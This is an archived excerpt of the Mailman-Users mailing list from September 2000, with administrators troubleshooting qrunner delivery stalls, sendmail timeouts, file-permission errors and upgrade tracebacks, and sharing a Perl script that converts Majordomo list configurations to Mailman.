subscribed to the list also contains instructions inviting subscribers
to post messages to the list.  Bad.  And unless I've overlooked it, I
don't see a way short of diving into the source code to edit the default
welcome message instructions.  I am limited to writing a new preface for
that message.  Still bad.

I really don't want any text anywhere seen by subscribers inviting them
to post to the list.  These messages are not allowed, and will only
burden the list administrator.

I guess that raises another question.  Is there a setting available
which will simply reject all messages from an non-approved source,
rather than holding them for the administrator to reject by hand?

-- 
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|           "Some days you just can't get rid of a bomb!"              |
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From zvrba at iskon.hr  Mon Sep  4 09:06:01 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Mon, 4 Sep 2000 09:06:01 +0200
Subject: [Mailman-Users] Mailman b5 lockup
Message-ID: <20000904090601.A21502@iskon.hr>

I'm experiencing lockups with qrunner process; this is the strace session:

send(6, "ehlo inje.iskon.hr\r\n", 20, 0) = 20
read(7, "250-inje.iskon.hr Hello root at loc"..., 4096) = 155
send(6, "mail FROM:<ex-yu-a-lista-admin at z"..., 53, 0) = 53
read(7, "250 <ex-yu-a-lista-admin at zamir.n"..., 4096) = 50
send(6, "rcpt TO:<oliver.sertic at fpzg.hr>\r"..., 33, 0) = 33
read(7, 

It blocks indefinetly in this last read. There exists no MX record for
the fpzg.hr domain. Is this a bug in mailman, sendmail or both? Or BIND?
I'm using mailman as a production-level mailing list system and this
is pretty urgent. Please help!




From zvrba at iskon.hr  Mon Sep  4 09:28:15 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Mon, 4 Sep 2000 09:28:15 +0200
Subject: [Mailman-Users] Hangs in b5 (fix)
Message-ID: <20000904092815.A27432@iskon.hr>

Regarding my previous question. This is not a bug. There is option in
sendmail for rcpt timeout that is by default 1h. Lowering this limit
fixed the problem.




From Volker.Weinberg at Physik.Uni-Muenchen.DE  Mon Sep  4 18:25:36 2000
From: Volker.Weinberg at Physik.Uni-Muenchen.DE (Volker Weinberg)
Date: Mon, 4 Sep 2000 18:25:36 +0200 (CEST)
Subject: [Mailman-Users] Operation not permitted
Message-ID: <Pine.LNX.4.10.10009041816380.16394-100000@glockner.cip.physik.uni-muenchen.de>

Hi all!

I tried to install mailman-2.0beta5 under SuSE Linux 6.3.
The Mail-wrapper runs without any problems if the config.db file of a
list has owner mailman:mailman:

-rw-rw----   1 mailman  mailman      3154 Sep  4 18:08 config.db

But using the WWW admin Configuration I get the following errors:

Traceback (innermost last):
  File "/home/mailman/scripts/driver", line 96, in run_main
    main()
  File "/home/mailman/Mailman/Cgi/admin.py", line 136, in main
    mlist.Save()
  File "/home/mailman/Mailman/MailList.py", line 847, in Save
    self.__save(dict)
  File "/home/mailman/Mailman/MailList.py", line 822, in __save
    os.link(fname, fname_last)
OSError: [Errno 1] Operation not permitted

I get the following files:
mailman at glockner:~/lists/test > ll config.db*
-rw-rw-rw-   1 mailman  mailman      3154 Sep  4 18:11 config.db
-rw-rw----   1 wwwrun   mailman      3154 Sep  4 18:14 config.db.tmp.16340

mailman at glockner:~/locks > ll
-rw-rw-r--   2 wwwrun   mailman        44 Sep  4  2000 test.lock
-rw-rw-r--   2 wwwrun   mailman        44 Sep  4  2000 test.lock.glockner.16340


WWW access is OK if I set ownership to wwwrun:mailman
-rw-rw----   1 wwwrun   mailman      3154 Sep  4 18:11 config.db

But with these settings qrunner etc. fails.
One neads owner mailman, the other wwwrun ?!

Any ideas??

Regards,

Volker

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From dgilbert at velocet.ca  Mon Sep  4 19:08:15 2000
From: dgilbert at velocet.ca (David Gilbert)
Date: Mon, 4 Sep 2000 13:08:15 -0400 (EDT)
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <20000904090601.A21502@iskon.hr>
References: <20000904090601.A21502@iskon.hr>
Message-ID: <14771.55039.68543.961182@trooper.velocet.net>

>>>>> "Zeljko" == Zeljko Vrba <zvrba at iskon.hr> writes:

Zeljko> I'm experiencing lockups with qrunner process; this is the
Zeljko> strace session: send(6, "ehlo inje.iskon.hr\r\n", 20, 0) = 20
Zeljko> read(7, "250-inje.iskon.hr Hello root at loc"..., 4096) = 155
Zeljko> send(6, "mail FROM:<ex-yu-a-lista-admin at z"..., 53, 0) = 53
Zeljko> read(7, "250 <ex-yu-a-lista-admin at zamir.n"..., 4096) = 50
Zeljko> send(6, "rcpt TO:<oliver.sertic at fpzg.hr>\r"..., 33, 0) = 33
Zeljko> read(7,

Zeljko> It blocks indefinetly in this last read. There exists no MX
Zeljko> record for the fpzg.hr domain. Is this a bug in mailman,
Zeljko> sendmail or both? Or BIND?  I'm using mailman as a
Zeljko> production-level mailing list system and this is pretty
Zeljko> urgent. Please help!

That's definately different to my experience.  I'm getting a qrunner
lockup with 0 bytes transmitted and 0 bytes received.

I'm thinking that it's some interaction with FreeBSD, but I can't nail 
it down.

Dave.

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=========================================================GLO================



From smtibocha at netscape.net  Mon Sep  4 23:16:56 2000
From: smtibocha at netscape.net (smtibocha at netscape.net)
Date: Mon, 04 Sep 2000 17:16:56 -0400
Subject: [Mailman-Users] Errors upgrating mailman
Message-ID: <71A6B742.4740BD04.03513F96@netscape.net>

Hello. I am a beginner mailman's administrator. Excuseme, but my english isn't very good. 

I had mailman 1.0 with sendmail-8.10.2. When I upgrating to mailman2.0beta5 I have very problems. The list ins't work, and in the information list's page appear:

Bug in Mailman version 2.0beta5

We're sorry, we hit a bug!

If you would like to help us identify the problem, please email a copy of this page to the webmaster for this site with a description of what
happened. Thanks! 

Traceback:

Traceback (innermost last):
  File "/usr/lib/mailman/scripts/driver", line 96, in run_main
    main()
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/Cgi/listinfo.py", line 38, in main
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/Cgi/listinfo.py", line 87, in FormatListinfoOverview
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/MailList.py", line 77, in __init__
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/MailList.py", line 909, in Load
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/MailList.py", line 920, in CheckVersion
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/versions.py", line 54, in Update
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/versions.py", line 247, in NewRequestsDatabase
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/ListAdmin.py", line 144, in HoldMessage
  File "/var/tmp/mailman-2.0beta5-root/usr/lib/mailman/Mailman/ListAdmin.py", line 66, in __opendb
AssertionError: 





Python information:

     Variable
                                           Value
 sys.version
                 1.5.2 (#1, Sep 14 1999, 14:02:46) [GCC egcs-2.91.66 19990314/Linux (egcs- 
 sys.executable
                 /usr/bin/python 
 sys.prefix
                 /usr 
 sys.exec_prefix
                 /usr 
 sys.path
                 /usr 
 sys.platform
                 linux-i386 




Environment variables:

        Variable
                                                     Value
 DOCUMENT_ROOT 
                       /home/httpd/html 
 SERVER_ADDR 
                       206.49.180.194 
 HTTP_ACCEPT_ENCODING 
                       gzip 
 SERVER_PORT 
                       80 
 REMOTE_ADDR 
                       10.5.0.12 
 SERVER_SOFTWARE 
                       Apache/1.3.9 (Unix) (Conectiva/Linux) PHP/3.0.12 mod_ssl/2.4.2 OpenSSL/0.9.4 
 GATEWAY_INTERFACE 
                       CGI/1.1 
 HTTP_ACCEPT_LANGUAGE 
                       en 
 REMOTE_PORT 
                       1452 
 SERVER_NAME 
                       conectiva.com.co 
 HTTP_CONNECTION 
                       Keep-Alive 
 HTTP_USER_AGENT 
                       Mozilla/4.61 [en] (X11; U; Linux 2.2.15-5cl i686) 
 HTTP_ACCEPT_CHARSET 
                       iso-8859-1,*,utf-8 
 HTTP_ACCEPT 
                       image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* 
 REQUEST_URI 
                       /mailman/listinfo 
 PATH 
                       /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin 
 QUERY_STRING 
 SERVER_PROTOCOL 
                       HTTP/1.0 
 HTTP_HOST 
                       www.conectiva.com.co 
 REQUEST_METHOD 
                       GET 
 SERVER_SIGNATURE 
                       Apache/1.3.9 Server at conectiva.com.co Port 80
 SCRIPT_NAME 
                       /mailman/listinfo 
 SERVER_ADMIN 
                       root at localhost 
 SCRIPT_FILENAME 
                       /usr/lib/mailman/cgi-bin/listinfo 
 PYTHONPATH 
                       /usr/lib/mailman 
 HTTP_COOKIE 
                       RMID=ce31b4c2395d08b0

Thanks for your help and your time.



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From intra at it.net.au  Tue Sep  5 05:42:25 2000
From: intra at it.net.au (Peter Tran)
Date: Tue, 5 Sep 2000 11:42:25 +0800 (WST)
Subject: [Mailman-Users] Converting from Majordomo to mailman
Message-ID: <Pine.LNX.4.21.0009051141380.20879-100000@talen.it.net.au>

Hi,

Would anyone know of a tool to convert lists and archives from 
majordomo to mailman?

Any information would be appricated.


--------------------------------------
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Informed Technology

Personal Email: intra at it.net.au
Website       : http://www.it.net.au
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From sailer at sailer.itd.bnl.gov  Tue Sep  5 06:04:55 2000
From: sailer at sailer.itd.bnl.gov (Tim Sailer)
Date: Tue, 5 Sep 2000 00:04:55 -0400
Subject: [Mailman-Users] I broke mailman
Message-ID: <20000905000455.A18472@bnl.gov>

I've done something on my system, and now mailman doesn't work,
and I don't have a clue what I did, or how to fix it. I keep
getting the following errors over and over again:

Sep 05 00:03:02 2000 (2657) Delivery exception: read-only character buffer, NoneSep 05 00:03:02 2000 (2657) Traceback (innermost last):
  File "/usr/lib/mailman/Mailman/Handlers/HandlerAPI.py", line 82, in do_pipeline
    func(mlist, msg, msgdata)
  File "/usr/lib/mailman/Mailman/Handlers/Hold.py", line 173, in process
    if mlist.require_explicit_destination and \
  File "/usr/lib/mailman/Mailman/MailList.py", line 1213, in HasExplicitDest
    addr = string.lower(addr)
TypeError: read-only character buffer, None

Does anyone have any idea what is wrong?

Thanks,
Tim

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From zvrba at iskon.hr  Tue Sep  5 08:46:33 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Tue, 5 Sep 2000 08:46:33 +0200
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <14771.55039.68543.961182@trooper.velocet.net>; from dgilbert@velocet.ca on Mon, Sep 04, 2000 at 01:08:15PM -0400
References: <20000904090601.A21502@iskon.hr> <14771.55039.68543.961182@trooper.velocet.net>
Message-ID: <20000905084632.A32208@iskon.hr>

On Mon, Sep 04, 2000 at 01:08:15PM -0400, David Gilbert wrote:
> >>>>> "Zeljko" == Zeljko Vrba <zvrba at iskon.hr> writes:
> 
> Zeljko> I'm experiencing lockups with qrunner process; this is the
> Zeljko> strace session: send(6, "ehlo inje.iskon.hr\r\n", 20, 0) = 20
> Zeljko> read(7, "250-inje.iskon.hr Hello root at loc"..., 4096) = 155
> Zeljko> send(6, "mail FROM:<ex-yu-a-lista-admin at z"..., 53, 0) = 53
> Zeljko> read(7, "250 <ex-yu-a-lista-admin at zamir.n"..., 4096) = 50
> Zeljko> send(6, "rcpt TO:<oliver.sertic at fpzg.hr>\r"..., 33, 0) = 33
> Zeljko> read(7,
> 
> Zeljko> It blocks indefinetly in this last read. There exists no MX
> Zeljko> record for the fpzg.hr domain. Is this a bug in mailman,
> Zeljko> sendmail or both? Or BIND?  I'm using mailman as a
> Zeljko> production-level mailing list system and this is pretty
> Zeljko> urgent. Please help!
> 
> That's definately different to my experience.  I'm getting a qrunner
> lockup with 0 bytes transmitted and 0 bytes received.
> 
> I'm thinking that it's some interaction with FreeBSD, but I can't nail 
> it down.
> 
I'm running it on Linux. However, it's not a lockup. After a timeout period
(which is min(connect timeout,sendmail configured timeout)) it gives up
and proceeds to send other messages. Undelivered messages stay in the queue.
And this is my problem: undelivered messages pile up, and sometimes qrunner
takes hours to deliver all messages. I've experienced that the message was
sent at 10:15 and was delivered at 15:32. All members on the list are local
to the machine on which Mailman is running.

Temporary solution is to disable delivery to people which are subscribed from
broken domains; however with 80 lists this is tedious, slow and error-prone.

Now I'm going to dig into the sources and possibly implement a timeout when
communicating with sendmail.

The best solution would be that qrunner remebers broken domains: that way it
would only wait for the first message to such a domain; for other messages it
wouldn't even try delivery (in one run). So the "lockup" wouldn't last Q*3min
(Q is the total number of people from broken domains), but only D*3min (the
number of different broken domains). In my case Q > 20, D=2.




From jarrell at vt.edu  Tue Sep  5 09:24:36 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 03:24:36 -0400
Subject: [Mailman-Users] migrating lists and archives to another
  machine?
In-Reply-To: <20000902222259.I19404@mrbill.net>
Message-ID: <4.3.2.7.2.20000905032347.00c9fcf0@vtserf.cc.vt.edu>

At 10:22 PM 9/2/00 -0500, Bill Bradford wrote:
>I'm upgrading my server to a bigger machine this weekend; is there
>an "approved" process for moving lists and archives from one MailMan
>install to another?  


Unless you want to muck with the internals of the marshall file, tar up ~mailman,
and drop on the new machine in exactly the same path, and match up the uids.
Move the aliases and apache config, of course.  Life should be fine after that.
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From jarrell at vt.edu  Tue Sep  5 09:28:05 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 03:28:05 -0400
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <20000904090601.A21502@iskon.hr>
Message-ID: <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu>

At 09:06 AM 9/4/00 +0200, Zeljko Vrba wrote:
>I'm experiencing lockups with qrunner process; this is the strace session:
>
>send(6, "ehlo inje.iskon.hr\r\n", 20, 0) = 20
>read(7, "250-inje.iskon.hr Hello root at loc"..., 4096) = 155
>send(6, "mail FROM:<ex-yu-a-lista-admin at z"..., 53, 0) = 53
>read(7, "250 <ex-yu-a-lista-admin at zamir.n"..., 4096) = 50
>send(6, "rcpt TO:<oliver.sertic at fpzg.hr>\r"..., 33, 0) = 33
>read(7, 
>
>It blocks indefinetly in this last read. There exists no MX record for
>the fpzg.hr domain. Is this a bug in mailman, sendmail or both? Or BIND?
>I'm using mailman as a production-level mailing list system and this
>is pretty urgent. Please help!


It's not mailman; it's sendmail.  It validating the address.  DNS isn't responding,
and sendmail's timeouts are apparently set pretty high.  If you're planning on pumping
a lot of mail through, and it's not mostly end users who's clients would be smart enough
to stop the message if sendmail bitched then and there, reconfigure sendmail to not do
the initial dns work.  The messages will still hang up, if the domain is misconfigured like
that, but they'll hang in the sendmail queue, not at the mailman end.
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From jarrell at vt.edu  Tue Sep  5 09:35:26 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 03:35:26 -0400
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <20000905084632.A32208@iskon.hr>
References: <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
Message-ID: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>

At 08:46 AM 9/5/00 +0200, Zeljko Vrba wrote:
>Temporary solution is to disable delivery to people which are subscribed from
>broken domains; however with 80 lists this is tedious, slow and error-prone.
>
>Now I'm going to dig into the sources and possibly implement a timeout when
>communicating with sendmail.
>
>The best solution would be that qrunner remebers broken domains: that way it
>would only wait for the first message to such a domain; for other messages it
>wouldn't even try delivery (in one run). So the "lockup" wouldn't last Q*3min
>(Q is the total number of people from broken domains), but only D*3min (the
>number of different broken domains). In my case Q > 20, D=2.

The *correct* solution it adjust your *sendmail* timeouts to match what you want
it to do.  Sendmail can be told to remember broken domains, and all of that.
Never force the mail list manager to do what the MTA is supposed to do;
conversely, don't complain to the mailing list manager if the MTA isn't configured right.
There's about 80 gazillion timeout settings in sendmail, all of which default to Big Numbers
if you don't tweak them; and it also defaults to dns validating every address it's given.
If your sendmail usage doesn't match that profile, adjust sendmail!  That's why there's
all those knobs and dials on the box.  Heck, 8.11.0 has *6* separate resolver timeouts.
You also want to look at nocanonify, and be sure you aren't basing your relay rules
on hostname lookups.
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From chuqui at plaidworks.com  Tue Sep  5 09:44:23 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 5 Sep 2000 00:44:23 -0700
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu>
References: <4.3.2.7.2.20000905032558.00d70dc0@vtserf.cc.vt.edu>
Message-ID: <p0432040cb5da5470c9d5@[209.239.169.197]>

At 3:28 AM -0400 9/5/00, Ron Jarrell wrote:
>At 09:06 AM 9/4/00 +0200, Zeljko Vrba wrote:

>>send(6, "rcpt TO:<oliver.sertic at fpzg.hr>\r"..., 33, 0) = 33



>It's not mailman; it's sendmail.  It validating the address.  DNS 
>isn't responding,
>and sendmail's timeouts are apparently set pretty high.

That address is in Hungary, which is notorious for slow DNS.



-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From chuqui at plaidworks.com  Tue Sep  5 09:47:27 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 5 Sep 2000 00:47:27 -0700
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
References: <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
 <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
Message-ID: <p0432040db5da5508ed76@[209.239.169.197]>

At 3:35 AM -0400 9/5/00, Ron Jarrell wrote:

>There's about 80 gazillion timeout settings in sendmail, all of 
>which default to Big Numbers
>if you don't tweak them; and it also defaults to dns validating 
>every address it's given.
>If your sendmail usage doesn't match that profile, adjust sendmail!


Ron, how do you have yours configured? I'm curious -- I use sendmail 
to send out really huge lists with very little configuration or 
problem. But I'm always interested in new techniques. Wanna share 
some? Unfortunately, just saying "fix sendmail" is like telling 
someone who's looking for a tune-up to go rebuild their own engine, 
when they aren't even sure how to do a tune-up in the first place...



-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From zvrba at iskon.hr  Tue Sep  5 09:51:34 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Tue, 5 Sep 2000 09:51:34 +0200
Subject: [Mailman-Users] Converting from Majordomo to mailman
In-Reply-To: <Pine.LNX.4.21.0009051141380.20879-100000@talen.it.net.au>; from intra@it.net.au on Tue, Sep 05, 2000 at 11:42:25AM +0800
References: <Pine.LNX.4.21.0009051141380.20879-100000@talen.it.net.au>
Message-ID: <20000905095134.A15670@iskon.hr>

On Tue, Sep 05, 2000 at 11:42:25AM +0800, Peter Tran wrote:
> Hi,
> 
> Would anyone know of a tool to convert lists and archives from 
> majordomo to mailman?
> 
> Any information would be appricated.
> 
In the attachment is a hack that I wrote for converting Majordomo to Mailman.
You can pipe its output to config_list. You must manually create the list.

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#!/usr/bin/perl -w
use strict;

# UPUTE ZA UPOTREBU
@ARGV or die "usage: $0 LISTNAME\n";

# POTREBNE GLOBALNE VARIJABLE
my $majordomo_list_dir = '/var/lib/majordomo/lists';

my $arg = prepend(shift);

# Ime liste: ovo nam cesto treba
@_ = split /\//, $arg;
my $listname = pop(@_);

# Ovo je lista opcija koje cemo importati iz majordomo listi
my %defaults = (
	real_name => "''",			# ime liste
	owner => "''",				# vlasnik: uzeti iz majoralias
	description => "''",		# opis
	info => "''",				# info
	subject_prefix => "''",		# neka bude ovako
	admin_notify_mchanges => 0,
	administrivia => 1,
	max_message_size => 40,
	host_name => "'iskon.hr'",
	subscribe_policy => 1,
	moderated => 0,
	member_posting_only => 0,
	posters => "[]",
	admin_pwd => "''",
);

sub prepend {
  my ($pth) = @_;
  if ($pth =~ m(/)) {
    return $pth;
  } else {
    return "$majordomo_list_dir/$pth";
  }
}

# POMOCNE PROCEDURE
# Funkcija koja potrazi email vlasnika liste iz majoralias
my $MAJORALIAS = "/etc/mail/majoralias";
sub list_owner {
	my ($name) = @_;
	open(ALIAS, $MAJORALIAS) || die "can't open $MAJORALIAS: $!";
	my ($owner, $host) = ('', '');
	while(<ALIAS>) {
		chomp;
		if (!$owner) {
			if(/^\s*(?:\Q$name\E-owner|owner-\Q$name\E):\s*(\S+)\s*$/o) {
				$owner = $1;
			}
		}
		if (!$host) {
			if (/^\s*\Q$name\E:\s*".*-h\s+(\S+)/o) {
				$host = $1;
			}
		}
		last if $owner && $host;
	}
	close ALIAS;
	return ($owner, $host);
}

# GLAVNI PROGRAM
# Pokupi i pretvori settinge za listu
#if(open(INFO, "$ARGV[0].info")) {
#	while(<INFO>) {
#		$defaults{'info'} .= $_;
#	}
#}
#close INFO;

# Procesiranje glavne konfiguracije
open(DAT, "$arg.config") || die "can't open $arg.config";
$defaults{'real_name'} = "'$listname'";
my ($owner, $host) = list_owner($listname);
$defaults{'owner'} = "'$owner'";
$defaults{'host_name'} = "'$host'" if $host;
while(<DAT>) {
	next if /^\s*#/;
	next unless /^\s*(\S+?)\s*=\s*(\S*)\s*$/;
	local @_ = ($1, $2);
	$_ = $_[0];

	if(/administrivia/) {
		$defaults{'administrivia'} = ($_[1] =~ /no/) ? 0 : 1;
	}
	if(/admin_passwd/) {
		$defaults{'admin_pwd'} = "'$_[1]'";
	}
	if(/moderate/) {
		$defaults{'moderated'} = ($_[1] =~ /no/) ? 0 : 1;
	}
	if(/announcements/) {
		$defaults{'admin_notify_mchanges'} = ($_[1] =~ /no/) ? 0 : 1;
	}
	if(/description/) {
		$_ = <DAT>;
		chomp;
		if(!/^EOF/) {
			$defaults{'description'} = "'" . $_ . "'";
			while(<DAT>) {
				last if /^END/ || /^EOF/;
			}
		}
	}
#	if(/resend_host/ && $_[1] ne '') {
#		$defaults{'host_name'} = "'" . $_[1] . "'";
#	}
	if(/subscribe_policy/) {
		$defaults{'subscribe_policy'} = ($_[1] =~ /closed/) ? 2 : 1;
	}
	if(/restrict_post/ && $_[1] ne '') {
		$_[1] =~ s/^\s*//; $_[1] =~ s/\s*$//;
		if($_[1] eq "") {
			$defaults{'member_posting_only'} = 0;
		} elsif($_[1] eq $listname) {
			$defaults{'member_posting_only'} = 1;
		} elsif(open(RESTRICT, prepend($_[1]))) {
			$defaults{'posters'} = '[';
			while(<RESTRICT>) {
				chomp;
				$defaults{'posters'} .= "'";
				$defaults{'posters'} .= $_;
				$defaults{'posters'} .= "',";
			}
			$defaults{'posters'} .= ']';
			close RESTRICT;
		} else {
			print STDERR "open($_[1]): $!\n";
			print STDERR "can't open restrict list; using member_posting_only=0\n";
		}
	}
}
close DAT;

foreach(keys %defaults) {
	print $_ . "=" . $defaults{$_} . "\n";
}


From jarrell at vt.edu  Tue Sep  5 10:39:58 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 04:39:58 -0400
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <p0432040db5da5508ed76@[209.239.169.197]>
References: <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
 <14771.55039.68543.961182@trooper.velocet.net>
 <20000904090601.A21502@iskon.hr>
 <14771.55039.68543.961182@trooper.velocet.net>
 <4.3.2.7.2.20000905032913.00d647b0@vtserf.cc.vt.edu>
Message-ID: <4.3.2.7.2.20000905042204.00d63b80@vtserf.cc.vt.edu>

At 12:47 AM 9/5/00 -0700, Chuq Von Rospach wrote:
>At 3:35 AM -0400 9/5/00, Ron Jarrell wrote:
>
>>There's about 80 gazillion timeout settings in sendmail, all of which default to Big Numbers
>>if you don't tweak them; and it also defaults to dns validating every address it's given.
>>If your sendmail usage doesn't match that profile, adjust sendmail!
>
>
>Ron, how do you have yours configured? I'm curious -- I use sendmail to send out really huge lists with very little configuration or problem. But I'm always interested in new techniques. Wanna share some? Unfortunately, just saying "fix sendmail" is like telling someone who's looking for a tune-up to go rebuild their own engine, when they aren't even sure how to do a tune-up in the first place...

Mine mostly works right too.  But my main mail relay is currently set to split the queue
load amongst 5 queues, and I further split the queues into the seperate components. (qf,df, etc)
I'm running with FEATURE(nocanonify).  I don't generally have much of a problem with 
DNS load, so I have commented out, but ready if I need it a FEATURE(accept_unresolvable_domains),
which gets rid of that initial DNS lookup entirely.  I also run an MCI_CACHE_SIZE of 30,
with a timeout of 35, and have the QUEUE_SORT_ORDER set to host.  (Although I'll
go in every few days and run a special queue run sorted by time with higher timeouts,
to catch problematic hosts.  I use a hoststat directory, set at 10 minutes.

For other interesting timeouts, I lowered the IDENT timeout to 15 seconds (too many
PCs were broken w.r.t things hitting their ident ports, and would hang up for the minute
it used to be).   I cranked my ICONNECT down to 30s; if they're not answering by then,
they can just go in the queue and wait.  My initial and connects are at 2m, which I think
is lower than the default.  Mail is at 10m, and misc at 2m.  Quit 2m, rset 5m.  I left
rcpt at the default of 1h, because I rarely have a problem with that, althought I've observed
some seriously broken mailers take 15 minutes or more to figure out they have a host.
Like Yahoo, Hotmail, and Excite...  

Most of my other settings are defaulted, (at least in timeouts), but with regular DNS delays
I'd consider either accepting unresolvable domains, or looking at 11.0's new timeout.resolver.*
section... There's a retrans and a retry timeout, and they're further dividable into first 
attempt, and normal.  I usually set first attempts down really low, for fast initial entry into the
system; well connected, non overloaded machines will still respond.  If they don't well,
that's what the queue is for, and if a lot of my users are mailing there, then I get the
benefits of delivering multiple messages for the cost of one connection.

The place where this occaisionally breaks down is when yahoo, excite, or hotmail have
problems; although it's yahoo more than the others in the last couple of months.  They'll
get into a mode where they'll take a message or two, then kick out an i/o error, so the
queue builds up because it thinks the host keeps going down.  I end up having to do a 
special queue run that just pounds just them over and over and over until they finally go
away.

Our listserv machine is actually much more liberal in timeouts, and still performs
well.  But then, a large chunk of it's traffic is actually distributed outside the
normal channels, listserv to listserv...
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From Ralf.Ebeling at baslerweb.com  Tue Sep  5 11:29:35 2000
From: Ralf.Ebeling at baslerweb.com (Ebeling, R.)
Date: Tue, 5 Sep 2000 11:29:35 +0200 
Subject: [Mailman-Users] How to get rid of cron messages...
Message-ID: <850597605E79D21182830008C7A4B9CF03633316@COMM1>

Hi,

every time qrunner or gate_news is invoked by cron I get a line
in my syslog.

Any idea, how to get rid of this line in syslog?

Thanks
Ralf



From r_denis at globalnet.hn  Tue Sep  5 05:47:00 2000
From: r_denis at globalnet.hn (Ricardo Denis)
Date: Mon, 04 Sep 2000 22:47:00 -0500
Subject: [Mailman-Users] installation error
Message-ID: <4.1.20000904223824.00b9a410@globalnet.hn>

hi,

i am trying to install mailman. i am relatively new to linux so it is no
wonder i am having trouble. i get the following error when executing the
"bin/check_perms" command :

Traceback (innermost last):
  File "bin/check_perms", line 19, in ?
    import paths
ImportError: No module named paths

what does it mean? i am totally lost on this one. thanks for any help you
can provide.

saludos,

rick


Donde esta Ricky? http://www.findu.com/cgi-bin/find.cgi?hr2kos-14



From jarrell at vt.edu  Tue Sep  5 13:08:17 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Tue, 05 Sep 2000 07:08:17 -0400
Subject: [Mailman-Users] installation error
In-Reply-To: <4.1.20000904223824.00b9a410@globalnet.hn>
Message-ID: <4.3.2.7.2.20000905070549.00d49d30@vtserf.cc.vt.edu>

At 10:47 PM 9/4/00 -0500, Ricardo Denis wrote:
>hi,
>
>i am trying to install mailman. i am relatively new to linux so it is no
>wonder i am having trouble. i get the following error when executing the
>"bin/check_perms" command :
>
>Traceback (innermost last):
>  File "bin/check_perms", line 19, in ?
>    import paths
>ImportError: No module named paths
>
>what does it mean? i am totally lost on this one. thanks for any help you
>can provide.

The problem is if you run check_perms from the bin directory of the *source* tree,
before installing it, it's trying to import paths.py, which is NOT in the bins dir; it's
over in misc.  Check the INSTALL file.  You run check_perms *after* you install,
from ~mailman, not from the source dir.  paths.py is installed into ~mailman/bin
by the installation procedure.  The source tree version is correctly telling you that there's
no pythom module called paths anywhere it's trying to look.
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From dgilbert at velocet.ca  Tue Sep  5 16:02:52 2000
From: dgilbert at velocet.ca (David Gilbert)
Date: Tue, 5 Sep 2000 10:02:52 -0400 (EDT)
Subject: [Mailman-Users] Mailman b5 lockup
In-Reply-To: <20000905084632.A32208@iskon.hr>
References: <20000904090601.A21502@iskon.hr>
	<14771.55039.68543.961182@trooper.velocet.net>
	<20000905084632.A32208@iskon.hr>
Message-ID: <14772.64780.280246.394124@trooper.velocet.net>

>>>>> "Zeljko" == Zeljko Vrba <zvrba at iskon.hr> writes:

Zeljko> I'm running it on Linux. However, it's not a lockup. After a
Zeljko> timeout period (which is min(connect timeout,sendmail

I think we're chasing different problems, then.  This is definately a
lockup that is specific to mailman and possibly specific to FreeBSD.
It wedges hard without sending or receiving data ... and this
behaviour is present while talking locally or remotely to either
sendmail or postfix.

Dave.

-- 
============================================================================
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|Mail:       dgilbert at velocet.net             |  equal if and only if they |
|http://www.velocet.net/~dgilbert             |   are precisely opposite.  |
=========================================================GLO================



From satyap at satya.virtualave.net  Tue Sep  5 13:46:10 2000
From: satyap at satya.virtualave.net (Satya)
Date: Tue, 5 Sep 2000 17:16:10 +0530 (IST)
Subject: [Mailman-Users] How to get rid of cron messages...
In-Reply-To: <850597605E79D21182830008C7A4B9CF03633316@COMM1>
Message-ID: <Pine.LNX.4.21.0009051715110.948-100000@hal9k.myip.org>

On Sep 5, 2000 at 11:29, Ebeling, R. wrote:

>every time qrunner or gate_news is invoked by cron I get a line
>in my syslog.
>
>Any idea, how to get rid of this line in syslog?

Redirect the output of the cron line to /dev/null:

* * * * * qrunner_foo_whatever >/dev/null

Better yet, leave it alone.

-- 
